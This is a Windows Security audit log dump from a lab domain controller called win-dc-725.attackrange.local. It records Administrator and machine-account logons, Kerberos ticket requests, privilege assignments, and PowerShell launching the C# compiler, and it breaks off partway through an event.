SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251760 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1423D8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251759 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1423D8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64549 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251758 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1423D8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251757 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14059D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251756 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x142375 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251755 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x142375 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251754 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251753 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251752 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251751 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14233F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251750 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14233F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251749 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14233F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251748 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251747 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251746 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251745 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1422CE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251744 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x141AF4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251743 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14079E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251742 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1422CE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251741 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1422CE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251740 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251739 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251738 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251737 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x115c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES12C4.tmp" "c:\Users\Administrator\AppData\Local\Temp\loliam5n\CSCA4920CC78FAF479B80B2D19265DF1C26.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251736 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x115c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1064 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\loliam5n\loliam5n.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251735 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x141AF4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251734 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x141AF4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251733 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251732 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: 